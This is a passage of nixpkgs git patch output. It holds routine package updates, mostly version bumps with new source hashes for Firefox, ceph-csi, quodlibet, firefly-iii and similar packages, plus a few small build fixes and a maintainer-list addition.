"https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/te/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/te/Firefox%20140.0.dmg"; locale = "te"; arch = "mac"; - sha256 = "095a1a6429f394effd24d4b44f9d25cf7517aec0e4cdb923451e5f76a57dda86"; + sha256 = "5f88a5fc49b8074e9bbf990c676f8d3782b68a61a583f4cc69514dd04d213655"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/tg/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/tg/Firefox%20140.0.dmg"; locale = "tg"; arch = "mac"; - sha256 = "2dccfae304c30b04b550df94d617098998c0a98ce2a3ebe57cb00797cdbd3c2b"; + sha256 = "3a19b160e28cfcd100c1f185ac08dd3bbaf627a3ac43151f252c7a6eb15ccbef"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/th/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/th/Firefox%20140.0.dmg"; locale = "th"; arch = "mac"; - sha256 = "e613b617f9a65dcb9fd4f1e03d581fb507cd25faf679f87dc42ac570c6f5f7ff"; + sha256 = "c010b6a584872a648d88c03af33d5d721c74ffbd16938ea5cb6752cae636d1b2"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/tl/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/tl/Firefox%20140.0.dmg"; locale = "tl"; arch = "mac"; - sha256 = "6efe7c21216267dc62351512345ea66560bfd500f797976e7dc83e70b463ab1a"; + sha256 = "b62a4a02012c0f71f8220a2b2de969f3d1fa59fa1aba7fcec97e0666f88c1693"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/tr/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/tr/Firefox%20140.0.dmg"; locale = "tr"; arch = "mac"; - sha256 = "69c54d76eacbb12aa053530aa3ebe35e738b6f02023fa362bbe707a9177b6a58"; + sha256 = "1fb628f977b870b77fc27339522dff3dd75ba4b105e5c1876c6558514ddcba1a"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/trs/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/trs/Firefox%20140.0.dmg"; locale = "trs"; arch = "mac"; - sha256 = "ad940a6df0329b5b55f80e2c13365e2d72cf39ddf67b66cf1e9b3ff6d2f042cc"; + sha256 = "65591b585579cfe0a28c118686d291a4e131b68803945cf3668225269a2c75a5"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/uk/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/uk/Firefox%20140.0.dmg"; locale = "uk"; arch = "mac"; - sha256 = "704b38bd5112e439045cf10e560729371bb3c594087e6ac1aa446eefe966817a"; + sha256 = "92d20201ebd8ccf76098d6c5aeeb345a8da84cfb1a0f2fd901b663266ab23510"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/ur/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/ur/Firefox%20140.0.dmg"; locale = "ur"; arch = "mac"; - sha256 = "b7a68c0c5563050a704f77d10507d09fc92a36ad04f39e4e5204f5adc5af3d5e"; + sha256 = "1a900caeaeea8d208bd1bfcf6365c8b71526cb6cb01b4caff813636fa930abcd"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/uz/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/uz/Firefox%20140.0.dmg"; locale = "uz"; arch = "mac"; - sha256 = "d1d0176923c64b99c196b726c087e48ea077295a8fb9af86acd933e139d36cb2"; + sha256 = "335fe10336466a6fc773644ca55aa0b02b12a3452268b2084df676f4f63f6aac"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/vi/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/vi/Firefox%20140.0.dmg"; locale = "vi"; arch = "mac"; - sha256 = "7a09f94b79b2ae9c2a49ed736dab4f7b4bdd8e247e07853be7162c5b2b4231df"; + sha256 = "c95acd66d454b769d2f0d590a89856d0d7c488d05f7172ed03b886730d095ec1"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/xh/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/xh/Firefox%20140.0.dmg"; locale = "xh"; arch = "mac"; - sha256 = "143fddb9f5726fc718992cd102b76c28db3da234a94f673620bfc329db84b245"; + sha256 = "7b2da794e59fcba899d3b0fa481b1bcf87a2c0ff37e92a309c580bbac79b7d32"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/zh-CN/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/zh-CN/Firefox%20140.0.dmg"; locale = "zh-CN"; arch = "mac"; - sha256 = "9bade8971332379a9fcf99aa9541a50fd3a3383797242dc0a7c459a1e4f6a1f2"; + sha256 = "a62709ca0a15017aa95e26b6295a60d382b94662e2f45e54977991c2f155c753"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/mac/zh-TW/Firefox%20139.0.4.dmg"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/mac/zh-TW/Firefox%20140.0.dmg"; locale = "zh-TW"; arch = "mac"; - sha256 = "d3ac4855f2c20fe0719ed01c7a6ad1821f9225f6753286a455e0f53dc5da699f"; + sha256 = "94de38627dd06786fde9c783315917c2621df7bd6515333044c1efb6e550528d"; } ]; } From 55fbc4c0e05a476550743c164744bea79cbec43e Mon Sep 17 00:00:00 2001 From: Martin Weinelt Date: Mon, 23 Jun 2025 16:47:59 +0200 Subject: [PATCH 165/390] firefox-esr-128-unwrapped: 128.11.0esr -> 128.12.0esr https://www.mozilla.org/en-US/firefox/128.12.0/releasenotes/ --- .../networking/browsers/firefox/packages/firefox-esr-128.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-esr-128.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-esr-128.nix index a3108e975762..7fc014e12d82 100644 --- a/pkgs/applications/networking/browsers/firefox/packages/firefox-esr-128.nix +++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-esr-128.nix @@ -9,11 +9,11 @@ buildMozillaMach rec { pname = "firefox"; - version = "128.11.0esr"; + version = "128.12.0esr"; applicationName = "Firefox ESR"; src = fetchurl { url = "mirror://mozilla/firefox/releases/${version}/source/firefox-${version}.source.tar.xz"; - sha512 = "80af64c1dce6d7a25111480567a3251cc2d1edce00acc4d85bbaa44590f5bbf4c0716f9490c3ab8ef1e6fc2bbabb2379029c2dee51ce477933c7a5935092d279"; + sha512 = "442d0b2b6ce02adcd878975f01e86548ca8fe93840185d77a1acb41ec99440c7abfdc8757e6f30d60593dcf2c7f50563b6ea6ccd4d239beea01305615b73c359"; }; meta = { From 411e69f2d1073c7a1f1eae668d7fb19600811447 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 14:55:21 +0000 Subject: [PATCH 166/390] ceph-csi: 3.14.0 -> 3.14.1 --- pkgs/by-name/ce/ceph-csi/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/ce/ceph-csi/package.nix b/pkgs/by-name/ce/ceph-csi/package.nix index 0231fbe7dbc9..81c8f03b1893 100644 --- a/pkgs/by-name/ce/ceph-csi/package.nix +++ b/pkgs/by-name/ce/ceph-csi/package.nix @@ -8,13 +8,13 @@ stdenv.mkDerivation rec { pname = "ceph-csi"; - version = "3.14.0"; + version = "3.14.1"; src = fetchFromGitHub { owner = "ceph"; repo = "ceph-csi"; rev = "v${version}"; - hash = "sha256-c6OaWDR38S0yl3pVN+DYjfg9oHqmVXljstmvBDmfOi8="; + hash = "sha256-WyWs5zrgU9//b2CeIKvgcE4jQDsfYQjo4UwYjpHyEeY="; }; preConfigure = '' From 7e71204f2ccd0ef91acd103d6c4a76b8697cd019 Mon Sep 17 00:00:00 2001 From: Pascal Dietrich Date: Mon, 23 Jun 2025 17:07:21 +0200 Subject: [PATCH 167/390] tauno-monitor: 0.2.0 -> 0.2.1 --- pkgs/by-name/ta/tauno-monitor/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/ta/tauno-monitor/package.nix b/pkgs/by-name/ta/tauno-monitor/package.nix index 709db657b9c8..0c165057e334 100644 --- a/pkgs/by-name/ta/tauno-monitor/package.nix +++ b/pkgs/by-name/ta/tauno-monitor/package.nix @@ -13,14 +13,14 @@ }: python3Packages.buildPythonApplication rec { pname = "tauno-monitor"; - version = "0.2.0"; + version = "0.2.1"; pyproject = false; src = fetchFromGitHub { owner = "taunoe"; repo = "tauno-monitor"; tag = "v${version}"; - hash = "sha256-144kRMhZUwgn3BRy6c0A5Fwh1Yisuf7H2s/0ChpIKVI="; + hash = "sha256-WsBov5ftt0lXw3fC04EGAFj1imDaPAmKvWDC5a1y9+k="; }; nativeBuildInputs = [ From c65d54a793af7d8a9f996a80924f94e385f5779b Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 15:20:02 +0000 Subject: [PATCH 168/390] seagoat: 1.0.8 -> 1.0.9 --- pkgs/by-name/se/seagoat/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/se/seagoat/package.nix b/pkgs/by-name/se/seagoat/package.nix index 76de36488031..9d79c79141c7 100644 --- a/pkgs/by-name/se/seagoat/package.nix +++ b/pkgs/by-name/se/seagoat/package.nix @@ -14,14 +14,14 @@ python3Packages.buildPythonApplication rec { pname = "seagoat"; - version = "1.0.8"; + version = "1.0.9"; pyproject = true; src = fetchFromGitHub { owner = "kantord"; repo = "SeaGOAT"; tag = "v${version}"; - hash = "sha256-Br51c0RkZtRRazzomLFB6TKqDr5U/en+zDy6SmvWII4="; + hash = "sha256-0GVKbPU0Tx7/RyGlh5JLzrQBHny/Och4594hNfAYNpI="; }; build-system = [ python3Packages.poetry-core ]; From 1e9b82839c1a2449e8e050caac9c9c71c8fa248c Mon Sep 17 00:00:00 2001 From: Maxwell L-T Date: Mon, 23 Jun 2025 11:35:24 -0400 Subject: [PATCH 169/390] itgmania: 1.0.2 -> 1.1.0 --- pkgs/by-name/it/itgmania/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/it/itgmania/package.nix b/pkgs/by-name/it/itgmania/package.nix index 930b8fb38aef..d8e595a1034c 100644 --- a/pkgs/by-name/it/itgmania/package.nix +++ b/pkgs/by-name/it/itgmania/package.nix @@ -23,14 +23,14 @@ stdenv.mkDerivation (finalAttrs: { pname = "itgmania"; - version = "1.0.2"; + version = "1.1.0"; src = fetchFromGitHub { owner = "itgmania"; repo = "itgmania"; rev = "v${finalAttrs.version}"; fetchSubmodules = true; - hash = "sha256-OGOvC7/NmEsWXVw4bFjqdT/Hg3Ypbwct//uWuW3/f1o="; + hash = "sha256-C9qVUZdRnKbQgfgbXnzT+lI2+FEXBaMQv/U6UF5wyzo="; }; nativeBuildInputs = [ From 3e03b7bcc55e3fc8874c2f408e73fd45904ab313 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 15:40:16 +0000 Subject: [PATCH 170/390] python3Packages.aioautomower: 2025.5.1 -> 2025.6.0 --- pkgs/development/python-modules/aioautomower/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/development/python-modules/aioautomower/default.nix b/pkgs/development/python-modules/aioautomower/default.nix index 6a670b969ac9..5dd0db815be9 100644 --- a/pkgs/development/python-modules/aioautomower/default.nix +++ b/pkgs/development/python-modules/aioautomower/default.nix @@ -20,7 +20,7 @@ buildPythonPackage rec { pname = "aioautomower"; - version = "2025.5.1"; + version = "2025.6.0"; pyproject = true; disabled = pythonOlder "3.11"; @@ -29,7 +29,7 @@ buildPythonPackage rec { owner = "Thomas55555"; repo = "aioautomower"; tag = version; - hash = "sha256-Fia08yBmixR47WZMuNbBg+u8CyHG8lumfWJeB/EKd78="; + hash = "sha256-6V3utjqCLQmO2iuWdn6kE8oz9XcJ/sCfeSMWmxL/2NE="; }; postPatch = '' From 00734170e272760a1d9adc182180ac19a77dc2fa Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 15:41:09 +0000 Subject: [PATCH 171/390] python3Packages.dvc-s3: 3.2.1 -> 3.2.2 --- pkgs/development/python-modules/dvc-s3/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/development/python-modules/dvc-s3/default.nix b/pkgs/development/python-modules/dvc-s3/default.nix index b3f824ce5cbf..26a03265b06f 100644 --- a/pkgs/development/python-modules/dvc-s3/default.nix +++ b/pkgs/development/python-modules/dvc-s3/default.nix @@ -12,13 +12,13 @@ buildPythonPackage rec { pname = "dvc-s3"; - version = "3.2.1"; + version = "3.2.2"; pyproject = true; src = fetchPypi { pname = "dvc_s3"; inherit version; - hash = "sha256-Q232TQJQaWOwIl1SctlZGFlfX4awrVqb7usQW7KsPSQ="; + hash = "sha256-Dqcsm2sADf6hqDTUEGczts3HRdCm7h1cCluMg0RnFxY="; }; # Prevent circular dependency From 7aa3d675200b7eb3914ae39ec19ccf4340f67134 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9o=20Bori?= Date: Mon, 23 Jun 2025 17:54:51 +0200 Subject: [PATCH 172/390] taterclient-ddnet: 10.3.0 -> 10.4.0 --- .../client_log_format_security.patch | 13 ------------- pkgs/by-name/ta/taterclient-ddnet/package.nix | 10 +++------- 2 files changed, 3 insertions(+), 20 deletions(-) delete mode 100644 pkgs/by-name/ta/taterclient-ddnet/client_log_format_security.patch diff --git a/pkgs/by-name/ta/taterclient-ddnet/client_log_format_security.patch b/pkgs/by-name/ta/taterclient-ddnet/client_log_format_security.patch deleted file mode 100644 index 9d0c56170162..000000000000 --- a/pkgs/by-name/ta/taterclient-ddnet/client_log_format_security.patch +++ /dev/null @@ -1,13 +0,0 @@ -diff --git a/src/engine/client/client.cpp.orig b/src/engine/client/client.cpp -index ab70b3c..9e25353 100644 ---- a/src/engine/client/client.cpp.orig -+++ b/src/engine/client/client.cpp -@@ -4933,7 +4933,7 @@ int main(int argc, const char **argv) - { - char aError[2048]; - snprintf(aError, sizeof(aError), "Failed to load config from '%s'.", s_aConfigDomains[ConfigDomain].m_aConfigPath); -- log_error("client", aError); -+ log_error("client", "%s", aError); - pClient->ShowMessageBox("Config File Error", aError); - PerformAllCleanup(); - return -1; diff --git a/pkgs/by-name/ta/taterclient-ddnet/package.nix b/pkgs/by-name/ta/taterclient-ddnet/package.nix index 76a01e1b4b62..10ef97b24d46 100644 --- a/pkgs/by-name/ta/taterclient-ddnet/package.nix +++ b/pkgs/by-name/ta/taterclient-ddnet/package.nix @@ -33,13 +33,13 @@ let in stdenv.mkDerivation (finalAttrs: { pname = "taterclient-ddnet"; - version = "10.3.0"; + version = "10.4.0"; src = fetchFromGitHub { owner = "sjrc6"; repo = "taterclient-ddnet"; tag = "V${finalAttrs.version}"; - hash = "sha256-OEoiUtD87xsXBgAZ65mmfmAJcEvrley3drRX+IJo20s="; + hash = "sha256-SSf9W+1yl7ExHsifbVM5IN4OfZvMdz62xMfdb++38II="; }; cargoDeps = rustPlatform.fetchCargoVendor { @@ -80,10 +80,6 @@ stdenv.mkDerivation (finalAttrs: { strictDeps = true; - patches = [ - ./client_log_format_security.patch - ]; - postPatch = '' substituteInPlace src/engine/shared/storage.cpp \ --replace-fail /usr/ $out/ @@ -101,7 +97,7 @@ stdenv.mkDerivation (finalAttrs: { # Since we are not building the server executable, the `run_tests` Makefile target # will not be generated. # - # See https://github.com/sjrc6/TaterClient-ddnet/blob/V10.3.0/CMakeLists.txt#L3072 + # See https://github.com/sjrc6/TaterClient-ddnet/blob/V10.4.0/CMakeLists.txt#L3088 doCheck = false; preFixup = lib.optionalString stdenv.hostPlatform.isDarwin '' From f31b7313b87edfc41052635334525d1a65411460 Mon Sep 17 00:00:00 2001 From: "Alexander V. Nikolaev" Date: Mon, 23 Jun 2025 18:06:29 +0300 Subject: [PATCH 173/390] libcosmicAppHook: Fix cross-compilation Signed-off-by: Alexander V. Nikolaev --- pkgs/by-name/li/libcosmicAppHook/package.nix | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pkgs/by-name/li/libcosmicAppHook/package.nix b/pkgs/by-name/li/libcosmicAppHook/package.nix index 549c628c870d..f4bc7bd4f34f 100644 --- a/pkgs/by-name/li/libcosmicAppHook/package.nix +++ b/pkgs/by-name/li/libcosmicAppHook/package.nix @@ -46,7 +46,7 @@ makeSetupHook { substitutions = { fallbackXdgDirs = "${lib.optionalString includeSettings "${targetPackages.cosmic-settings}/share:"}${targetPackages.cosmic-icons}/share"; - cargoLinkerVar = stdenv.hostPlatform.rust.cargoEnvVarTarget; + cargoLinkerVar = targetPackages.stdenv.hostPlatform.rust.cargoEnvVarTarget; # force linking for all libraries that may be dlopen'd by libcosmic/iced apps cargoLinkLibs = lib.escapeShellArgs ( [ From c9bd45f6dc65f0005f9632d3bc367b82e9ce3f41 Mon Sep 17 00:00:00 2001 From: Stefan Frijters Date: Mon, 23 Jun 2025 12:36:04 +0200 Subject: [PATCH 174/390] quodlibet: 4.6.0-unstable-2024-08-08 -> 4.7.1 --- pkgs/applications/audio/quodlibet/default.nix | 18 ++++++++++++------ ...h => fix-gdist-python-3.12-and-newer.patch} | 0 2 files changed, 12 insertions(+), 6 deletions(-) rename pkgs/applications/audio/quodlibet/{fix-gdist-python-3.12.patch => fix-gdist-python-3.12-and-newer.patch} (100%) diff --git a/pkgs/applications/audio/quodlibet/default.nix b/pkgs/applications/audio/quodlibet/default.nix index ee2b4f8a842b..bca4a6e28452 100644 --- a/pkgs/applications/audio/quodlibet/default.nix +++ b/pkgs/applications/audio/quodlibet/default.nix @@ -43,10 +43,9 @@ python3, xvfb-run, }: - -python3.pkgs.buildPythonApplication { +python3.pkgs.buildPythonApplication rec { pname = "quodlibet${tag}"; - version = "4.6.0-unstable-2024-08-08"; + version = "4.7.1"; pyproject = true; outputs = [ @@ -57,14 +56,21 @@ python3.pkgs.buildPythonApplication { src = fetchFromGitHub { owner = "quodlibet"; repo = "quodlibet"; - rev = "3dcf31dfc8db9806d1f73a47fdabc950d35ded1d"; - hash = "sha256-8qWuxTvMF6ksDkbZ6wRLPCJK1cSqgGMPac/ht6qVpnA="; + tag = "release-${version}"; + hash = "sha256-xr3c1e4tjw2YHuKbvNeUPBIFdHEcpztqXjHVDSSxYlo="; }; - patches = [ ./fix-gdist-python-3.12.patch ]; + # Fix "E ModuleNotFoundError: No module named 'distutils'" in Python 3.12 or newer + patches = [ ./fix-gdist-python-3.12-and-newer.patch ]; build-system = [ python3.pkgs.setuptools ]; + postPatch = '' + # Fix "FileExistsError: File already exists: /nix/store/<...>-quodlibet-4.7.1/bin/quodlibet" + substituteInPlace pyproject.toml \ + --replace-fail 'quodlibet = "quodlibet.main:main"' "" + ''; + nativeBuildInputs = [ gettext diff --git a/pkgs/applications/audio/quodlibet/fix-gdist-python-3.12.patch b/pkgs/applications/audio/quodlibet/fix-gdist-python-3.12-and-newer.patch similarity index 100% rename from pkgs/applications/audio/quodlibet/fix-gdist-python-3.12.patch rename to pkgs/applications/audio/quodlibet/fix-gdist-python-3.12-and-newer.patch From 0480b545101520d4d37ccbb64683968d9332f500 Mon Sep 17 00:00:00 2001 From: Stefan Frijters Date: Mon, 23 Jun 2025 12:36:38 +0200 Subject: [PATCH 175/390] quodlibet: clean up derivation --- pkgs/applications/audio/quodlibet/default.nix | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/pkgs/applications/audio/quodlibet/default.nix b/pkgs/applications/audio/quodlibet/default.nix index bca4a6e28452..629621b1fd5e 100644 --- a/pkgs/applications/audio/quodlibet/default.nix +++ b/pkgs/applications/audio/quodlibet/default.nix @@ -7,6 +7,7 @@ gettext, gobject-introspection, wrapGAppsHook3, + writableTmpDirAsHomeHook, # runtime adwaita-icon-theme, @@ -133,6 +134,7 @@ python3.pkgs.buildPythonApplication rec { glibcLocales hicolor-icon-theme xvfb-run + writableTmpDirAsHomeHook ] ++ (with python3.pkgs; [ polib @@ -158,7 +160,6 @@ python3.pkgs.buildPythonApplication rec { preCheck = '' export GDK_PIXBUF_MODULE_FILE=${librsvg}/lib/gdk-pixbuf-2.0/2.10.0/loaders.cache - export HOME=$(mktemp -d) export XDG_DATA_DIRS="$out/share:${gtk3}/share/gsettings-schemas/${gtk3.name}:$XDG_ICON_DIRS:$XDG_DATA_DIRS" ''; @@ -173,7 +174,7 @@ python3.pkgs.buildPythonApplication rec { ''; preFixup = lib.optionalString (kakasi != null) '' - gappsWrapperArgs+=(--prefix PATH : ${kakasi}/bin) + gappsWrapperArgs+=(--prefix PATH : ${lib.getBin kakasi}) ''; meta = with lib; { From 0c84d34f95dbd0dd15eb47a93d2464a799f0cfb1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=C2=B7=F0=90=91=91=F0=90=91=B4=F0=90=91=95=F0=90=91=91?= =?UTF-8?q?=F0=90=91=A9=F0=90=91=A4?= Date: Mon, 23 Jun 2025 23:36:51 +0700 Subject: [PATCH 176/390] factorPackages.buildFactorVocab: fix find directory typo --- pkgs/development/compilers/factor-lang/mk-vocab.nix | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pkgs/development/compilers/factor-lang/mk-vocab.nix b/pkgs/development/compilers/factor-lang/mk-vocab.nix index 9d5925aa6de0..3d929498fbac 100644 --- a/pkgs/development/compilers/factor-lang/mk-vocab.nix +++ b/pkgs/development/compilers/factor-lang/mk-vocab.nix @@ -41,7 +41,7 @@ drvArgs: base=$(basename "${finalAttrs.vocabName}") root=''${fname%$base} root=''${root:-.} - find "$root" -mindepth 1 -maxdepth 1 -type -d \ + find "$root" -mindepth 1 -maxdepth 1 -type d \ -not \( -name bin -or -name doc -or -name lib \) -exec \ cp -r -t "$out/lib/factor/${finalAttrs.vocabRoot}" {} \+ else From b850eb81e21438f79928e9ce62a17c948db22ee1 Mon Sep 17 00:00:00 2001 From: Dom Rodriguez Date: Sun, 22 Jun 2025 22:02:40 +0100 Subject: [PATCH 177/390] buildstream: Add `buildbox` as a dependency Buildbox is needed at runtime *and* during builds. Without `buildbox` available to the package, or otherwise in `$PATH`, Buildstream will not run. --- pkgs/by-name/bu/buildstream/package.nix | 37 +++++++++++++------------ 1 file changed, 19 insertions(+), 18 deletions(-) diff --git a/pkgs/by-name/bu/buildstream/package.nix b/pkgs/by-name/bu/buildstream/package.nix index cefd4f1f28c3..17e7b3a146d8 100644 --- a/pkgs/by-name/bu/buildstream/package.nix +++ b/pkgs/by-name/bu/buildstream/package.nix @@ -34,26 +34,27 @@ python3Packages.buildPythonApplication rec { setuptools-scm ]; - dependencies = with python3Packages; [ - click - dulwich - grpcio - jinja2 - markupsafe - packaging - pluginbase - protobuf - psutil - pyroaring - requests - ruamel-yaml - ruamel-yaml-clib - tomlkit - ujson - ]; + dependencies = + [ buildbox ] + ++ (with python3Packages; [ + click + dulwich + grpcio + jinja2 + markupsafe + packaging + pluginbase + protobuf + psutil + pyroaring + requests + ruamel-yaml + ruamel-yaml-clib + tomlkit + ujson + ]); buildInputs = [ - buildbox fuse3 lzip patch From 18f89bfb370f5a496fd2a4cac5d497e87a6a81f4 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 17:23:08 +0000 Subject: [PATCH 178/390] firefly-iii: 6.2.17 -> 6.2.18 --- pkgs/by-name/fi/firefly-iii/package.nix | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/pkgs/by-name/fi/firefly-iii/package.nix b/pkgs/by-name/fi/firefly-iii/package.nix index 005f8b172f2f..172d5445f65b 100644 --- a/pkgs/by-name/fi/firefly-iii/package.nix +++ b/pkgs/by-name/fi/firefly-iii/package.nix @@ -13,13 +13,13 @@ stdenvNoCC.mkDerivation (finalAttrs: { pname = "firefly-iii"; - version = "6.2.17"; + version = "6.2.18"; src = fetchFromGitHub { owner = "firefly-iii"; repo = "firefly-iii"; tag = "v${finalAttrs.version}"; - hash = "sha256-g/mGCc7JxfWrbrh14OXaKgn0rjf4RMNL2NI4GzrphaY="; + hash = "sha256-QQlfUbDanyj3n0EOhPxfMqsrl9laQq2CQbwRY4/gH8k="; }; buildInputs = [ php84 ]; @@ -38,13 +38,13 @@ stdenvNoCC.mkDerivation (finalAttrs: { composerNoScripts = true; composerStrictValidation = true; strictDeps = true; - vendorHash = "sha256-2GvBlKRTqehD7eVpEGd9zBoiom30DRMqatyHNF4eDiU="; + vendorHash = "sha256-h/DWKOlffEBWZhdf5iQf4f33IK+1Ie289Oqjb7GHfVY="; }; npmDeps = fetchNpmDeps { inherit (finalAttrs) src; name = "${finalAttrs.pname}-npm-deps"; - hash = "sha256-uZluWsHpbD2lMG/yNoZxry5X+Hiv3z/H4KqV7pydu/A="; + hash = "sha256-YbMUM+fXIuXVrv7QMlPklct3mDHI05PoOW+fgHf8c3I="; }; preInstall = '' From 1da9c9a39ac6cb9b662be922b2ebd84624c0a144 Mon Sep 17 00:00:00 2001 From: Johan Herland Date: Mon, 16 Jun 2025 12:56:41 +0000 Subject: [PATCH 179/390] maintainers: add jherland --- maintainers/maintainer-list.nix | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix index 9a62b7b0bdfc..4ce34383e5cd 100644 --- a/maintainers/maintainer-list.nix +++ b/maintainers/maintainer-list.nix @@ -11770,6 +11770,12 @@ githubId = 56772267; name = "Jürgen Hahn"; }; + jherland = { + email = "johan@herland.net"; + github = "jherland"; + githubId = 547031; + name = "Johan Herland"; + }; jhh = { email = "jeff@j3ff.io"; github = "jhh"; From 114911496ecb5e3b4d6d09a2e93a3b2721e43c41 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 17:44:12 +0000 Subject: [PATCH 180/390] pykickstart: 3.64 -> 3.65 --- pkgs/by-name/py/pykickstart/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/py/pykickstart/package.nix b/pkgs/by-name/py/pykickstart/package.nix index 3afdc6aadf71..b6604fb9b4b3 100644 --- a/pkgs/by-name/py/pykickstart/package.nix +++ b/pkgs/by-name/py/pykickstart/package.nix @@ -8,13 +8,13 @@ python3Packages.buildPythonApplication rec { pname = "pykickstart"; - version = "3.64"; + version = "3.65"; src = fetchFromGitHub { owner = "pykickstart"; repo = "pykickstart"; tag = "r${version}"; - hash = "sha256-EDbS06d/lFOSxI/qP7Uovr1qgJqlRyH7gfHnAevHo6o="; + hash = "sha256-bRc+zFd7+FjQln710L6c0fZfq68lIb6orTM3EosS7aM="; }; build-system = with python3Packages; [ From 3597a760ec0946022450a8eb97feb1af5f9d3660 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 17:47:01 +0000 Subject: [PATCH 181/390] libretro.play: 0-unstable-2025-06-13 -> 0-unstable-2025-06-18 --- pkgs/applications/emulators/libretro/cores/play.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/applications/emulators/libretro/cores/play.nix b/pkgs/applications/emulators/libretro/cores/play.nix index 08cef36027aa..af059712f707 100644 --- a/pkgs/applications/emulators/libretro/cores/play.nix +++ b/pkgs/applications/emulators/libretro/cores/play.nix @@ -14,13 +14,13 @@ }: mkLibretroCore { core = "play"; - version = "0-unstable-2025-06-13"; + version = "0-unstable-2025-06-18"; src = fetchFromGitHub { owner = "jpd002"; repo = "Play-"; - rev = "011be1b24fcafd4e5c2262538bd37dfe42a2cd05"; - hash = "sha256-fcIDh5ydfbwwdlP0KcGNekjUt+uiDe/spzPLOwvLeUI="; + rev = "ea544501ba7d06f53188939254f671055ceaeaba"; + hash = "sha256-fGMFtjvqKCy7jd59Ky2pcLR5PANq1v9GT5tVB2iPXhk="; fetchSubmodules = true; }; From 2fcf435b8854acd692467a4df39600aed7ba540c Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 17:51:36 +0000 Subject: [PATCH 182/390] phpdocumentor: 3.7.1 -> 3.8.0 --- pkgs/by-name/ph/phpdocumentor/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/ph/phpdocumentor/package.nix b/pkgs/by-name/ph/phpdocumentor/package.nix index 552e409b86f5..f3b567592c81 100644 --- a/pkgs/by-name/ph/phpdocumentor/package.nix +++ b/pkgs/by-name/ph/phpdocumentor/package.nix @@ -8,16 +8,16 @@ php.buildComposerProject2 (finalAttrs: { pname = "phpdocumentor"; - version = "3.7.1"; + version = "3.8.0"; src = fetchFromGitHub { owner = "phpDocumentor"; repo = "phpDocumentor"; tag = "v${finalAttrs.version}"; - hash = "sha256-ylwv+tW5Lyx1rooUy7wjinsutGpbLvIvXuLDGWLv24g="; + hash = "sha256-5wLfTitHr/6vF4c3o+I+l5ZnJGsjfH82kgml8goqUB4="; }; - vendorHash = 